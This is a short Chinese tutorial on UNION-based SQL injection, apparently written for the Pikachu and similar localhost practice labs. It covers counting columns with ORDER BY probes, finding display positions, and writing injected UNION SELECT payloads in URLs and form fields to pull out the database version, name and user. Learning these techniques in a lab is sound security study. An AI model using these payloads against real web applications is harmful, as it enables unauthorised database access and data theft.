SQL中UNION 操作符用于合并两个或多个 SELECT 语句的结果集。UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型,结果会去掉重复的记录。当UNION之前的select语句结果集为空时,查询结果将由UNION后的SELECT语句控制。当WEB应用存在SQL注入时,巧妙使用union查询可以进行数据的盗取。
联合查询注入语句构造步骤:
UNION SELECT语法
UNION SELECT语法用于合并两个或多个SELECT语句的结果集
用法举例:
select username,password from user where id=1 union select 字段1,字段2 from 表名
联合查询的字段数需要和主查询一致!
select id,email from member where username='kobe' union select username,pw from member where id=1;
UNION 内部的 SELECT 语句必须拥有相同数量的列,因此判断原有查询语句的列数是构造SQL注入的第一步。
判断原有查询语句的列数
判断原有查询语句的列数通常基于布尔型盲注的思想来进行,通常使用order by 语句来进行;
ORDER BY 语句用于对结果集进行排序,在SELECT 语句末尾增加ORDER BY N 表示基于第N列进行排序;
示例:
select id,email from member where username='kobe' order by 2; 只有两列正常显示
当N大于结果集的实际列数时,SQL语句会执行出错,此时SQL语句无法查询到数据,将导致页面显示异常;看后端代码看具体拼接情况。
因此我们可以使用ORDER BY语句进行测试,通过逐一增加N的值,当页面显示异常时,可推测出结果集实际列数为N-1;
输入:a' order by 3# 显示报错,说明此时前一个表的列数为2列
判断数据输出位置
当UNION之前的select语句结果集为空时,查询结果将由UNION后的SELECT语句控制。
http://localhost/pikachu/vul/sqli/sqli_str.php?name=0' union select 1,2 --+&submit=查询
根据页面输出,发现1,2都是显示位,那么就可以在1,2位置构造payload
构造数据提取语句
根据判断出来的显示位,写入函数进行信息获取,插入的可以是函数也可以用字符站位。
输入:' union select version(),4;# 得到当前数据库版本
输入:'union select database(),user();#,得到当前数据库名和用户名
联合查询注入过程总结
1.判断原有查询语句的列数
select company, ordernumber from orders order by 5
2.使原有查询语句的结果为空
http://localhost/sqleasy/news.php?newsid=-1
3.判断数据输出位置
http://localhost/sqleasy/news.php?newsid=-1 union select 1,2,3,4,5
4.使用union语句拼接目标数据的查询语句
http://localhost/sqleasy/news.php?newsid=-1 union select 1,database(),user(),4,5
|